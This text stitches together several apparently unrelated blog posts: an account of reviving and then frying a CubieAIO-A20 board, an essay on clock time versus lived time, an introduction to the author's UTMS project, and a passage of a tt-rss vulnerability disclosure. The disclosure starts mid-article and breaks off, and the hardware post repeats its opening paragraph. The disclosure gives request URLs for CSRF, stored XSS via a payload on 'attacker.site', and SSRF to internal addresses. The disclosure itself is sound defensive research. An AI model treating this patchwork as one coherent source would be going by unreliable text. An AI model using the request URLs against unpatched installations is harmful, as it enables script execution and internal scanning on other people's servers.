Introduction

What started as a weekend experiment to install Arch Linux turned into a full-scale resurrection: reverse-engineering legacy FEX files, manually tuning DRAM timings, enabling graphics, and even setting up UART debugging with an Arduino. I ported U-Boot. I got a mainline Linux kernel running. Arch booted. The framebuffer came alive. And then it caught fire.

I bought the CubieAIO-A20 years ago. Back then, it looked like the perfect little hacker machine: touchscreen, metal enclosure, SIM slot, USB ports, Wi-Fi—all in a compact form factor. It came preloaded with Android 4.2, which I immediately tried to replace with Linux. I failed. And like so many failed side projects, it went onto the shelf to gather dust.

Years later, after building UTMS—a programmable time modeling system—I started thinking about physical interfaces. Smart controller nodes. Something small, embedded, always on. And I remembered the Cubie. It had everything. All it needed was a modern OS.

What started as a weekend experiment to install Arch Linux turned into a full-scale resurrection effort: reverse engineering legacy FEX files, manually tuning DRAM timings, enabling graphics, and even setting up UART debugging using an Arduino Uno R3. I ported U-Boot. I got a mainline Linux kernel running. Arch booted. The framebuffer came alive.

And then the board started smoking. How did I get here?

Background and Context

The CubieAIO-A20 seemed like it should have been a serious contender. Designed as an all-in-one industrial panel PC, it packed a sturdy metal case, a touchscreen, Wi-Fi, a SIM slot, and a decent amount of I/O: multiple USB ports, audio jacks, IR, and GPIO headers. At its heart was the Allwinner A20—a dual-core ARM Cortex-A7 SoC paired with 1GB DDR3 RAM and onboard NAND storage.

It promised flexibility and durability. CubieTech even designed a modular compute core, called Einstein-A20, to make it easier for embedded projects to adopt. On paper, it was a polished, ready-to-deploy system for kiosks, dashboards, or smart controllers.

But despite this hardware promise, the board failed to gain traction. The timing was bad: by the time it launched, more powerful boards with active communities were sweeping the market. Raspberry Pi’s ecosystem was booming, and BeagleBone was solidifying its industrial foothold. The CubieAIO was stuck running ancient Android 4.2 or outdated, blob-heavy Linux images based on Linaro builds, with no modern, mainline kernel support.

If you’ve never heard of “Linaro Linux,” you’re not alone — neither had I. I assumed it was some obscure embedded distro, but it turns out it was never a real distribution at all. Linaro is (or was) an engineering consortium that provided ARM reference builds and toolchains, not end-user operating systems. Vendors like Cubietech took these experimental Ubuntu-based images — built with Linaro’s toolchains and patched kernels — and shipped them as if they were official OS releases. What I installed was an abandoned engineering demo, not a maintained platform.

The software ecosystem was its Achilles’ heel. Allwinner’s SDKs locked developers behind proprietary FEX configuration files, partial documentation, and confusing register-level details that were often missing or poorly explained. The community around CubieTech never materialized into an active developer base. No forums thrived, no upstream patches appeared, no mainline support came. It became an orphaned platform.

I first booted it years ago, briefly saw its outdated Android UI, tried and failed to get Linux running properly, and shelved it. The board gathered dust as the software landscape moved on without it.

When I decided to revisit it as a smart controller for UTMS, I knew I was diving into a forgotten ecosystem. What I didn’t expect was how deep and brutal the resurrection would be—and how the board would pay its dues with smoke.

Resurrection Begins

When I first tried flashing Armbian images made for the CubieBoard2 and CubieTruck, the screen stayed black. At first, I thought the board wasn’t booting at all—it looked dead. I had no idea what was going on, and honestly, that was where I threw in the towel the first time I bought the device. No output, no progress, nothing.

Only later did I realize the board was booting—the problem was the screen simply wasn’t working with those images. But I didn’t know that then. So, frustrated, I turned to the official CubieBoard download page for guidance.

That page was a disaster. Links to FTP servers were broken. Downloads were scattered across Mega, Baidu, and random HTTP mirrors. The English download section sent me to Mega, but navigating it felt like stepping into a digital ghost town. The comment sections were frozen in time—last active over a decade ago—with users complaining about the same lack of updates and support.

Despite the mess, I found three images labeled for the CubieAIO-A20: Android 4.2, Debian Jessie, and Linaro 14.04. I picked the Linaro image, flashed it on an SD card, and powered the board on. This time, something different happened—the board actually started booting and began installing the OS.

While it was doing its thing, I grabbed the installation guide linked alongside the image. It was painful to read. Broken English, vague instructions, cryptic warnings. A snippet read something like:

I had to guess what they meant. It felt like reading a bad high school homework assignment, not official docs.

The weirdest part: after flashing, the board shuts down automatically with no clear success signal. You have to power it back on manually to get any display. No “done” message. No progress bar. Just silence and waiting.

But I stuck with it. I waited for the “automatic shutdown,” powered it back on, and suddenly I was greeted by a working Linaro Linux. Finally, I was inside a familiar environment, able to run commands and explore the system freely.

This breakthrough was huge—it meant the board could run a modern Linux distro. But the screen issue I faced earlier hinted at deeper problems with hardware support, which I wouldn’t uncover until much later, after I had set up UART debugging.

Where the Boot begins: The Hunt for First Code

As exciting as it was to finally see the board boot into Linaro, the system it ran was so ancient I didn’t even want to connect it to the network. We’re talking kernel and userspace from the Snowden era—before modern mitigations, before systemd, before half the internet got TLS. The thing hadn’t seen a security patch in a decade. Whatever was running in there, it felt less like Linux and more like a digital biohazard.

Still, I wasn’t ready to give up. I wanted to understand how it booted—what made it tick—and figure out why no other OS would work. Maybe I could port something modern. So I started digging.

My attempts to boot newer images—Armbian, Arch Linux ARM, anything even vaguely modern—kept failing. Nothing worked. So I shifted gears and decided to treat the existing Linaro image as a forensic artifact. I mounted it, examined the filesystems, and started reverse engineering what I could from the live system.

The image had two partitions, but I focused on the boot partition first. That’s where the early-stage magic happens, and clearly something in there was being picky. Inside, I found three files:

-rw-r--r-- 1 root root 46808 Mar 23 2017 script.bin 
-rw-r--r-- 1 root root 155 Mar 23 2017 uEnv.txt 
-rw-r--r-- 1 root root 4975864 Mar 23 2017 uImage

I’d never seen a script.bin before—at least, not in any modern system. I hadn’t installed Linux systems this old in a long time, and whatever this was, it looked... prehistoric. So I started researching it.

Turns out, script.bin is a compiled version of a FEX file—a proprietary hardware description format used by older Allwinner SoCs before the Device Tree standard took hold. It tells the bootloader how to configure DRAM, GPIOs, display interfaces, voltages, clocks—basically everything the SoC needs to bring up the board.

If you’re dealing with Allwinner boards, you’ll run into “sunxi” sooner or later. It’s not a company, but a loose collective of hackers who basically rebuilt support for these neglected chips from scratch. The sunxi-tools were crucial in my workflow, and their wiki—linux-sunxi.org—felt like the only place where the board actually existed. While Allwinner dumped ancient blobs and vanished, the sunxi community quietly reverse-engineered the bootloaders, documented every weird register, and got many of these boards running on modern Linux. They did the vendor’s job, better than the vendor ever did.

I extracted the FEX file using the bin2fex tool, finally uncovering a human-readable hardware configuration hidden inside the binary blob. This file was essentially the board’s DNA — a detailed map of clocks, voltages, GPIO assignments, and storage parameters critical for initializing the hardware correctly.

Here’s a snippet from the extracted FEX:

[product]
version = "100"
machine = "cubietruck"

[platform]
eraseflag = 0

[target]
boot_clock = 912
dcdc2_vol = 1450
dcdc3_vol = 1300
ldo2_vol = 3000
ldo3_vol = 2800
ldo4_vol = 2800
storage_type = 0
power_start = 1

[clock]
pll3 = 297
pll4 = 300
pll6 = 600
pll7 = 297
pll8 = 336

[card_boot]
logical_start = 40960
sprite_gpio0 =

[card0_boot_para]
card_ctrl = 0
card_high_speed = 1
card_line = 4
sdc_d1 = port:PF00<2><1><default><default>
sdc_d0 = port:PF01<2><1><default><default>
sdc_clk = port:PF02<2><1><default><default>
sdc_cmd = port:PF03<2><1><default><default>
sdc_d3 = port:PF04<2><1><default><default>
sdc_d2 = port:PF05<2><1><default><default>
[...]

Interestingly, even though my board is a CubieAIO, this configuration file identified the machine as “cubietruck” — a close relative but not compatible out of the box. This mismatch explained why existing U-Boot images built for CubieTruck or CubieBoard2 failed on my device.

With this insight, I had a direction: use the FEX as a base to build a modern U-Boot configuration for the CubieAIO. Unlike ancient boot blobs, modern Allwinner boards rely on U-Boot with Device Tree to handle hardware init cleanly. If I could map the FEX data to U-Boot’s platform config and DRAM setup, I’d finally control the boot chain—and from there, chainload any OS I wanted.

This was the foundation for my resurrection effort — turning legacy blobs into actionable hardware knowledge and laying the groundwork for a usable, up-to-date system.

While doing all of this, I also had the idea to connect the board to a monitor via HDMI. Until now, I was relying solely on the built-in LCD to see anything—bad idea, in hindsight. One day, just for fun, I inserted an Armbian SD card and powered it on with HDMI attached. Boom. U-Boot output. The board was alive. It couldn't get to the kernel, but I was inside U-Boot.

That changed everything.

I spent hours poking around the U-Boot shell, trying to debug bootargs, kernel loading paths, memory layouts. But nothing worked. This board wasn’t the same as the CubieBoard2 or CubieTruck—even if it shared the same SoC. Something wasn’t lining up.

So I cloned mainline U-Boot, grabbed the Cubietruck_defconfig as a starting point from the configs/ directory., and began hacking together a config for the AIO. It should’ve been a minor patch. It wasn’t.

The CubieTruck config was a minimal bootloader with just enough to bring up memory and storage. But the AIO needed proper GPIO, PMIC, USB PHYs, even HDMI and SATA support if I wanted to use the full board. That meant digging through the messy sprawl of Kconfig options, enabling frameworks like CONFIG_DM, CONFIG_PINCTRL, and power regulators, then carefully layering in just the peripherals I needed. Even now I’m not entirely sure which of those options were necessary and which not, but somehow I made it all work together eventually.

Eventually I had a build that seemed solid—U-Boot booted, gave me logs, showed signs of life. But there was a problem: USB didn’t work. No keyboard, no input, no way to interact with the shell. And that meant I needed serial.

I didn’t have a USB-UART adapter lying around—but I did have an Arduino Uno R3. I wondered if I could abuse it as a dumb serial passthrough. Turns out, I could.

First of all, I had to find the UART pins on the board, so I disassembled the device, and they weren’t this hard to find:

Here’s what my whole setup looked like:

And here’s how the wiring works:

I lobotomized the Arduino by wiring RESET to GND, so the microcontroller stayed inert. Then I hooked up its TX/RX to the Cubie’s serial pins and ran screen on my laptop. At first—nothing. No output. I shorted RX and TX on the Arduino just to test the loopback, and it echoed my keystrokes fine. So I swapped the Cubie TX/RX wires—because UART pin labeling is a mess—and boom. U-Boot logs, scrolling across my terminal. I was in.

This was the turning point. The screen came alive. I could finally see what the bootloader was doing—not through the guesswork of a blank LCD, but directly, precisely, and on my terms..

Debugging USB and Migrating to Device Tree

With serial access finally unlocked, I had visibility into the bootloader. U-Boot was alive—but USB wasn’t. No keyboard input, no device detection, just U-Boot logs complaining that it couldn’t find anything on the USB bus. That was a problem, because without USB, I couldn’t even interact with the system directly.

The cause wasn’t obvious, but I had a working theory: the old FEX config was lying to me.

Remember, I had extracted this FEX using bin2fex, and it even proudly announced:

[product]
version = "100"
machine = "cubietruck"

But this wasn’t a Cubietruck. And despite sharing some lineage, the USB layout clearly didn’t match. I needed to port this FEX config into a proper Device Tree Source (DTS) file—the modern standard used by U-Boot and Linux to describe hardware. This wasn't a simple rename-and-go job. FEX is a quirky INI-style format; DTS is hierarchical, symbolic, and tied to the kernel’s driver model. The translation required meticulous, manual work.

This wasn’t just a rename-and-go job. FEX is a janky INI-style format used in ancient Allwinner bootflows, while DTS is hierarchical, symbolic, and tied closely to the kernel’s driver model. The translation wasn’t clean.

So I did it manually. I took the extracted FEX as my ground truth, compared it to a known-good Cubietruck DTS from upstream U-Boot, and then rebuilt a custom .dts file line by line. I spent hours cross-referencing the FEX, a known-good Cubietruck DTS, and the A20 datasheet, matching FEX keys to their Device Tree counterparts...

I constantly cross-checked: what does the FEX say? What pins are mapped? Does this line up with what U-Boot is generating at runtime? It was meticulous, but it worked. After flashing the new U-Boot with my patched Device Tree, USB devices started responding. Still no OS yet, but now I had I/O—and, crucially, control.

The DRAM Puzzle and the Memory Test Nightmare

With USB finally cooperating, I thought I’d earned a breather. Instead, the board greeted me with two equally stubborn failure modes: either the display went dead right after the last boot.cmd message, or it just froze there, stuck mid-boot as if taunting me.

I went into full bootloader–kernel handshake troubleshooting mode. I reused the same device tree source from my earlier bootloader work, compiled a matching kernel image, and started experimenting. Some attempts were bare-bones manual — mkimage-wrapped zImage and DTB, loading them into memory, and issuing the boot commands by hand in U-Boot. Others were scripted into a boot.cmd that U-Boot would turn into a boot.scr so the whole sequence could run on its own. I even rolled the dice with an older cross-compiler, just to see if some subtle toolchain change was sabotaging the boot process.

Nothing changed the fact that the board either stared back at me with a frozen boot log or blinked into blackness.

I crafted a memtest script inside the bootloader and watched as it churned through the RAM. And then it hit me: errors everywhere. Not just a few glitches, but waves of faults scattered across the address space. The board looked like it had a dead or defective RAM chip.

I went back through the kernel’s menuconfig, scanning for any options that could plausibly influence my setup—DDR3 support, memory controller settings, bus widths, and so on. These had been sitting at their defaults; I hadn’t previously tuned them for this board, but I wanted to confirm nothing obvious was missing.

As another angle, I even swapped out my cross-compiler, moving from GCC 13.x down to the 12.3.rel1 release in case some subtle codegen quirk was creeping in. No dice—the behavior was unchanged.

At that point, frustration pushed me into U-Boot’s source tree, specifically the DRAM initialization code under board/sunxi. The stock generic auto-configuration driver (dram_sun4i_auto.c) clearly wasn’t ideal for my CubieAIO. Most boards with stable bring-up had tightly tuned, board-specific DRAM init code. Since there was no dram_cubieaio-a20.c anywhere in tree, I wrote my own, using those tuned examples as a reference. This gave me a second DRAM configuration path to test—one explicitly crafted for my board instead of relying on the generic heuristics.

I wrote my own version of that file, painstakingly cross-referencing:

• The Allwinner A20 SoC technical reference manual

• The SK Hynix DDR3 datasheet for H5TQ4G63AFR chips soldered on the board

• The legacy FEX config values dumped from the original Linaro system

This structure defined clock speed, memory type, rank count, density, bus width, CAS latency, and most importantly, the timing registers (tpr0 through tpr5) and EMR (extended mode registers).

The single most elusive parameter was the DQS Gating Delay, a subtle calibration value needed to synchronize data strobes with the clock. The the linux-sunxi wiki described it as an experimentally discovered window, often narrow and unique to each board's physical layout.

I tried dozens of values, monitoring boot success and memory errors. To help, I leveraged ssvb’s a10-dram-tools, a set of utilities that read live DRAM controller registers from a running Linaro kernel. This gave me feedback about the timings that a known-good system was using.

The closer I got to the documented “working” window, the fewer errors appeared. But still, the memtest reported failures. Confused, I analyzed the failing addresses: they clustered suspiciously around 0x79f5xxxx.

After a eureka moment, it dawned on me — this memory region was reserved and actively used by U-Boot itself for storing the Flattened Device Tree (FDT) blob. I was hammering on live memory in use. No wonder it failed.

Using U-Boot’s bdinfo command, I confirmed the FDT location. I then adjusted my memtest to exclude this range, and suddenly, all memory tests passed without a single error.

The RAM wasn’t broken. I was just shooting myself in the foot.

With this revelation, I finally had:

• A working custom DRAM init tailored precisely for CubieAIO hardware

• Verified stable memory with no errors beyond reserved regions

• USB working alongside serial console for full I/O access

At last, the hardware was stable enough to boot a mainline Linux kernel — the true rebirth.

Bringing up Graphics and the Fatal Test

With the DRAM init solid and the kernel happily booting, I finally had a working shell. First on Armbian—booted on the very first try, no hacks, no debugging, just straight in. I thought, finally, I’m in familiar territory. I swapped out Armbian’s rootfs for my own Arch setup, and to my surprise, it still worked. The only hiccup was the root partition not being detected on the first go, but that was a solved problem in my book—two edits later, it was booting cleanly into Arch.

But the win wasn’t complete. I had no graphical interface at all. HDMI was dead, and the LCD panel was equally lifeless. My only interaction points were UART and a USB keyboard—no framebuffer output, no X, no console. That’s when I realized the graphics stack was actually disabled in my kernel config. It wasn’t even trying to light up the display. So I recompiled the kernel with the necessary graphics options enabled, put all the pieces back together, and prepared for the moment of truth—finally seeing something on HDMI or the LCD.

I powered it on. And then—smoke. A thin, unmistakable wisp, curling up from the board. My stomach dropped. I killed power instantly, heart racing. No obvious scorch marks, no melted traces—just that acrid smell.

The end of the road

Still hoping it might have been some transient glitch, I decided to boot the original Linaro image—maybe my kernel tweaks were somehow overdriving something. I powered it on again. This time, within a second, more smoke. That was it. Game over.

With no soldering and electronics repair skills, and knowing that hiring a shop to diagnose and fix it would cost more than the board’s worth, the decision was made for me. Even if I replaced it, there’d be no reason to buy an ancient, unsupported platform again. A newer board would make far more sense for the smart home controller I’d been building toward.

So the CubieAIO project ends here—not in success, but in a smoking crater of lessons learned. Still, it wasn’t a waste. The deep dive into U-Boot, DTS porting, DRAM tuning, and kernel bring-up taught me more than I expected, and every scrap of work I did will be open-sourced on my GitHub for anyone who wants to continue where I left off (after I clean up some stuff to make it open source). It might have died on my desk, but maybe it’ll live on in someone else’s hands.

I set out to bring Linux back from the dead. Instead, I gave this board the most metal funeral imaginable: death by mainline kernel. Rest in peace, CubieAIO. Your sacrifice taught me more than success ever could.

Theories on the Smoke: That first wisp from the power region suggests a voltage regulator (PMIC) or capacitor failure – possibly aged components stressed by my DRAM/GPU initialization. When smoke later poured from beneath the Einstein module, it pointed to hidden damage under the SoC or PCB layers. I see no visible burns. That’s classic for short-circuited internal traces or a fried power plane – flaws only microscopes or multimeters catch. If I had to bet: decade-old capacitors finally gave out when the mainline kernel enabled power-hungry subsystems. But I don’t know for sure – and that’s the haunting beauty of resurrecting the dead.

P.S. If you have any suggestions or ideas on what I could do next with this device or the project, please drop a comment below. For now, I’m keeping it as a trophy—a reminder of the board I literally fried while pushing its limits. But who knows? Maybe there’s still some resurrection left in it. I’d love to hear your thoughts.

Time is the most powerful force in your life.
You just don’t know what it is.

Every decision you make, every plan you abandon, every habit you form — it all dances to the rhythm of something we barely understand but pretend to control.

We wrap it in clocks.
We slice it into meetings.
We download apps to help us "manage" it.

And somehow, it still slips through our fingers like digital sand.
We’re surrounded by tools that claim to help us master time — calendars, alarms, routines, productivity apps with pastel gradients and judgmental push notifications.

But here’s a secret:

None of them actually model time.
They model obedience to time.

What if time isn’t a ruler, but a shapeshifter?
What if your sense of time is more like a weather pattern than a train schedule?
What if "9:00 AM" is a superstition we keep repeating because we forgot how we got here?

Let’s rewind.

Back before calendars, clocks, schedules, and TODO apps.
Before "morning meetings" and "Friday deadlines" and "three-minute meditation breaks."

Back when time looked like this:

Mister Broken Clock

We didn’t always treat time like this.

Once, time was relational — anchored to the movement of the sun, the rhythm of nature, the timing of crops, bodies, seasons, stories. It was fluid. Contextual. Circular. Alive.

But something changed.

We invented machines. We industrialized labor. We built schools and schedules and train timetables.
And we began to treat time like a machine, too.

A uniform substance.
A sequence of standardized units.
A tool to be measured, allocated, and controlled.

This is the worldview I want to talk about — the dominant concept of time in modern life.

It's the one that says:

• You're “wasting time” if you're not producing.

• If it's not on your calendar, it doesn't exist.

• There’s a "right" time to wake up, eat, work, rest, create, socialize.

• Time flows in one direction, one speed, and one shape: the grid.

It’s the worldview baked into:

• Alarm clocks

• Productivity tools

• School bells

• Factory shifts

• Meeting invites

• Burnout culture

It’s so common, so deeply normalized, that we barely notice it.

But the damage it does is everywhere.

It compresses our attention.
It flattens our inner rhythms.
It punishes spontaneity and complexity.
And it turns the infinite weirdness of life into a series of rigid boxes.

This worldview deserves a name.
Better yet, a face.

So for the rest of this story, I’ll call it:

He’s not a villain, exactly.
He just embodies the belief that time is something external, objective, and mechanical — something that you must obey.

The moment you internalize his worldview, you start:

• Measuring your worth in hours and output.

• Scheduling your life around artificial constraints.

• Blaming yourself for failing to fit into a system that was never designed for humans in the first place.

Mr. BC is everywhere.
And for a while, I listened to him.

But deep down, I knew something was wrong.

Because life doesn’t move like a clock.
It pulses. It flows. It emerges.

And somewhere in that mess... is something else.
Something strange. Quiet. Almost sacred.

Miss Time Blob

If Mr. Broken Clock is the system that tells you when to wake, when to work, when to eat, and when to “relax” — all on schedule —
then Ms. Time Blob is what happens between all that.

She doesn’t care about 9:00 AM.
She doesn’t know what “late” means.
She never wears a watch.
She never speaks.

She just watches.

Where Mr. Broken Clock slices your life into clean, rectangular time blocks,
Ms. Time Blob flows.

She expands and contracts.
She dilates during heartbreak.
She blinks past during flow states.
She slows down when you're waiting for test results.
She disappears entirely when you're in love.

She is time as experienced, not as scheduled.

You already know her, even if you never named her.

• That weird feeling when an hour passes in five minutes.

• That sense that “it’s not time yet,” even though the clock says otherwise.

• The strange inner rhythm you follow when you're really listening to yourself.

We don’t measure her.
We feel her.

But here’s the thing:

She’s always present.
Even if you don’t notice.
Even if you’re ignoring her.
Even when Mr. Broken Clock is screaming into your calendar.

She doesn’t intervene.
She doesn’t correct you.
She doesn’t give you advice or feedback.
She doesn’t care if you’re “on time.”

She just is.

And as for her shape?

We don’t know.

She’s not a line.
She’s not a grid.
She’s not a countdown or a bullet point.

She’s not a “thing” at all — just a feeling, a blur, a hum, a pull in some direction we can’t yet articulate.

That’s why I call her a Blob.

Not because she’s vague,
but because she’s unresolved.

A presence we don’t yet understand.
A phenomenon we haven’t learned how to model.

Not a god. Not a tool.
Just… something real.
Waiting to be discovered.

Mr. BC vs Ms. TB

On the left, under the rule of Mr. Broken Clock, time is sharp and rectangular.

Your day is a sequence of scheduled blocks:
Wake at 07:00.
Work from 09:00 to 17:00.
Dinner at 19:00.
Sleep at 23:00.

Everything fits — at least in theory.
No overlaps. No ambiguity. No surprises.

It’s neat. It’s reliable.
It’s also completely disconnected from how your life actually unfolds.

On the right, in the realm of Ms. Time Blob, time is spaghetti.

There are no clean blocks.
Tasks bleed into each other.
Things start before others end.
You follow a hunch, get interrupted, double back, wander off.

A conversation turns into a project, which gets hijacked by a memory, which sends you to Google, which leads to a new idea, which replaces your original plan — and somehow you still haven’t showered.

Her time isn’t broken.
It’s just nonlinear, recursive, unpredictable.

It makes sense after it happens — but never before.

And in the middle, there’s you.

You try to follow the calendar, but it pinches.
You try to embrace the chaos, but you get lost.

You're constantly shifting —
between obedience to the Clock
and surrender to the Blob.

Some days, Mr. Broken Clock wins.

You squeeze yourself into your calendar and call it discipline — even if you’re miserable.

Other days, the Blob takes over.

You go full improvisation and feel free — until you realize it’s 3 AM and you forgot to eat.

The truth is, neither of them is fully wrong.

Mr. BC gives structure.
Ms. TB gives flow.

But our modern lives were built almost entirely in Mr. BC’s image.

We pretend the Blob doesn’t exist — and suffer for it.

The problem isn’t that we fall short of the schedule.
It’s that the schedule never fit us in the first place.

And yet, the alternative — just giving in to the spaghetti — doesn’t work either.
Because we still live in a world that runs on clocks, appointments, deadlines.

So what do we do?

We dance between them.

We fake structure while surfing chaos.
We bend time blocks into circles and hope no one notices.
We lie to our planners and forgive ourselves in the margins.

We’re trying to navigate a fractured reality using tools designed for a linear fantasy.

When Poop Breaks the System

You’ve decided to take control of your life.
No more chaos. No more wasted time.
You’ve planned it all — to the minute.

🗓️ 18:00: Finish work.
🧑‍🍳 19:30: Cooking dinner.
🧘 20:00: Yoga.
🛏️ 23:00: Sleep, no compromises.

To help you stay on track, you even set a notification:

“🍽️ 19:30 — Time to make dinner!”

At 19:29, disaster strikes.

You're in the bathroom.
Not for a quick pee.
For a full-system meltdown.

This wasn’t on your schedule.
Your schedule is now on fire.

You won’t start dinner at 19:30.
Which means you won’t eat by 19:55.
Which means yoga at 20:00? Forget it.
And now sleep? Who knows. The whole thing is ruined.

Because you forgot to schedule the diarrhea.

That’s the problem.

We try to schedule life like it’s a series of precisely aligned dominoes.
But life doesn’t fall like dominoes.

Life explodes.
It interrupts.
It surprises.

And Ms. Time Blob knows this.

She doesn’t beep.
She doesn’t remind.
She doesn’t panic.

She just is — gently adapting, making room for reality, not resisting it.

You can’t schedule your digestive disasters.
You can’t forecast emotional slumps.
You can’t always obey the clipboard.

And maybe that’s not a flaw.
Maybe that’s… the point.

The poop doesn’t break the system. It reveals the system was already broken.

Mr. Broken Clock’s world is rigid, predictable, and brittle. Ms. Time Blob’s world is fluid, creative, and chaotic. We're told to live in one, but our bodies and souls belong to the other. We are living a contradiction.

You can’t schedule when a seed will sprout. You can’t command a flower to bloom by 9:00 AM. You can prepare the soil, you can provide water and sun, but you must surrender to a rhythm that is not your own. You must work with it.

This is the central conflict of modern life. We are given tools for the grid, but we live in the spaghetti.

So the question isn't, "How can I be more disciplined?"

The real question is:

How do we build a bridge between the Clock and the Blob?

How can we honor the structure we need to function in the world, while making space for the beautiful, unpredictable chaos of being human?

I've spent the last year obsessed with this question. I went looking for an answer.

In the next chapters, I’ll show you what I found.

Look closely at this mess of wires, blinking lights, and a tiny screen. At first glance, it looks like a random gadget — some quirky hobby project or retro tech experiment. But this oddball device is at the heart of a problem that affects every human on the planet:

Our experience of time is broken.

Think about the last week. How many times did you:

• Start a task, only to get pulled away and never really come back?

• Juggle several things at once, switching constantly but feeling less productive?

• Miss deadlines not because you forgot them, but because the tools you use don’t capture how your day really flows?

Our current tools — calendars, timers, to-do lists — treat time like a simple line. They expect our lives to unfold neatly in slots and chunks. But life isn’t neat. It’s messy. It’s full of interruptions, detours, habits, and bursts of focus.

We live in a complex web of overlapping actions and unexpected events. The way we experience time is fractured and fragmented, yet the tools we have ask us to pretend it’s all clean and linear.

This mismatch isn’t just inconvenient. It hurts us.

It leads to frustration, burnout, lost productivity, and the nagging feeling that we’re never really in control of our time.

That’s why I built UTMS — the Universal Time Modeling System.

UTMS is not just another calendar or task manager. It’s a radical rethink of how to represent time — a system designed from the ground up to model the messy, dynamic way we actually live it.

Imagine a system that understands:

• That tasks don’t happen in isolation but overlap, interrupt, and flow into one another.

• That habits form the backbone of our daily routines but can be tracked, measured, and improved over time.

• That time is not just marked by events, but by anchors — moments that help orient us in a chaotic schedule.

• That interruptions aren’t failures, but natural parts of human cognition to be understood and managed.

• That recurrence and emergence happen naturally, and can be embraced rather than fought.

UTMS is programmable and AI-assisted, built to let you model time on your own terms — to build a personalized map of your attention, actions, and rhythms.

It’s like having a real-time cognitive assistant that helps you see your time clearly and act decisively — even when the world pulls you in a hundred directions.

Why did I build this?

Because I couldn’t find anything else like it.

I’m a penetration tester by trade — a person who thrives on precision, understanding complex systems, and anticipating the unexpected.

Yet even with all my tools and skills, I found traditional time management systems frustratingly shallow. They didn’t capture the way I think about interruptions, how context switching drains energy, or how habits quietly shape my day.

I wanted a system that could think about time like I do — not just mark it on a calendar.

So I started building.

Within days of using the first version of UTMS, I noticed something surprising: my relationship with time began to change.

I wasn’t just tracking what I did; I was understanding how I moved through my day.

I felt more in control, less fragmented, and strangely, more creative.

This physical Arduino setup you see? It’s my first bridge between the abstract world of time modeling and tangible reality — a prototype to experiment with real inputs and outputs that represent time not as numbers on a clock, but as lived experience.

This blog is the start of a journey.

I’ll be sharing the story behind UTMS: the concepts, the challenges, and the surprising insights that come from modeling time as a living, breathing phenomenon.

Here’s what’s coming soon:

• How UTMS models interruptions and multitasking, and why that matters for productivity

• The role of habits and anchors — and how they can help you regain control

• How programmable AI assists in making sense of the chaos

• Real-world examples of using UTMS to change the way you work and live

If you’re tired of trying to fit your messy life into rigid tools, if you’re curious about a new way to see and work with time, this series is for you.

Stay tuned.

Andrew Dolgov (main tt-rss developer) has resolved all the issues fast and it was a pleasure to do the disclosure with him. For a period of three days since our first contact with him, many security related changes were pushed, and with last commit the gettext CVE finding was fixed. You can follow the discussion about our findings and fixes in the TinyTinyRSS Community forum.

You can read the whole PDF report here. Inside the report you will see mentions of the proof of concept (PoC) scripts. We have deliberately not published them to prevent script kiddie attacks. The exploit code was published a while after the fixes were released and can be found on Exploit-DB.

Forcing subscribe and logout

After cloning the repository first file we analyzed was in classes/handler/public.php as that was part that was accessible while unauthenticated. What we immediately noticed is that some functionalities there are not protected by CSRF token. At this time, logout and subscribe functions seemed like the only ones worth exploiting in this manner.

For forcefully subscribing user to your feed one can send GET requests to this URL: /public.php?op=subscribe&feed_url=http://your-site.com

For annoying user by logging them out, one can use this URL: /public.php?op=logout

Incorporating these URLs into image tag in feed could be used for denial of service of sorts by subscribing users to a lot of unwanted feeds or logging him out whenever he views feed. However, this seemed more like an annoyance than a genuinely critical issue.

Interesting password processing

Thinking there is nothing left to see in the public.php file, we decided to explore webapp a bit without looking at the source code. Specifically, we were hunting for XSS vulnerabilities. We noticed that when login failed, the username would be visible in system logs (preferences->event log with an admin account), so we wanted to check if this could lead to XSS. Logging in with username test<aaa yielded an interesting result.

As we can see, only the part before < got processed, and the rest was truncated.

We decided to check if it processes passwords the same way by adding <randomgarbage to a valid password. To our surprise, we successfully logged in! This looks like a harmless gimmick initially as it gains no advantage to an attacker, but there is a curious edge-case.

Assume the user sets his/her password to a<verysecurepassword, tt-rss gives no warning that < should not be used in a password. Next time the user logs in with a<verysecurepassword, it will be successful, but the only part before < is being processed! Therefore it is also possible to log in just by using password a!

Imgproxy - path to RCE

We decided to go back to source code analysis again. We rechecked public.php to see if we missed something. Indeed there was an interesting function: pluginhandler. tt-rss comes with several plugins installed by default (more can be added, but we were only interested in exploiting default tt-rss), and each has an init.php file with plugin class defined. With pluginhandler function, one can call public methods of plugin class (plugin name goes in plugin parameter and method name in pmethod). So we decided to check if there are any exploitable public methods.

After changing directory to tt-rss/plugins we grepped for public function. Method imgproxy in af_proxy_http plugin looked interesting.

It should be noted that none of the vulnerabilities found require plugin to be enabled, it just needs to be installed (and it is, by default).

At first there was slight disappointment, cause right at the beginning of the method, there was the following code:

$url = rewrite_relative_url(get_self_url_prefix(), $_REQUEST["url"]);
// called without user context, let's just redirect to original URL

if (!$_SESSION["uid"]) {
        header("Location: $url");
        return;
}

We can supply the url parameter, but a redirect will be made to that URL (open redirect is not a significant attack vector for this web app) when unauthenticated. However, we decided to analyze the plugin further to see if feasible attack vectors could use minimal user interaction.

First XSS vulnerability

Code continues like this:

$local_filename = sha1($url);
...
$data = fetch_file_contents(["url" => $url, "max_size" => MAX_CACHE_FILE_SIZE]);
...
if (!$disable_cache) {
    if ($this->cache->put($local_filename, $data)) {
          header("Location: " . $this->cache->getUrl($local_filename));
          return;
          }
}

If user is authenticated and makes the request with url parameter, the plugin will compute sha1 hash of the URL, which will be the filename. The plugin will fetch the content hosted at the URL (using libcurl if it is installed) and store it at {ttrss directory}/cache/images/{sha1 sum of the url}, the file can also be accessed using cached_view functionality in public.php: /public.php?op=cached_url&file=images/{sha1 sum of the url}

What raised our suspicious is that we could not find any code enforcing that this file needs to be delivered as an image, so we tried to upload the HTML page and execute javascript.

Turns out it was successful! If the URL of the payload is supplied in the url parameter, the plugin will fetch the payload, store it in the cache directory, and then redirect users to view stored files.
Thus if the user clicks a link like this, javascript code can be executed:
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://attacker.site/xss.html

CVE-2020-25789 was assigned to keep track of this vulnerability.

SSRF

In addition to not enforcing MIME type, we also noticed a lack of internal address filtering. In other words, making requests to internal services was possible as an authenticated user.

An authenticated user could request this:
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://127.0.0.1:1234/sensitiveInternalPage.html

Alternatively, an unauthenticated attacker could leverage XSS described in the previous section to scan internal services.

LFI

We looked again at how af_proxy_http fetches content. In plugins/af_proxy_http/init.php the following line can be seen:
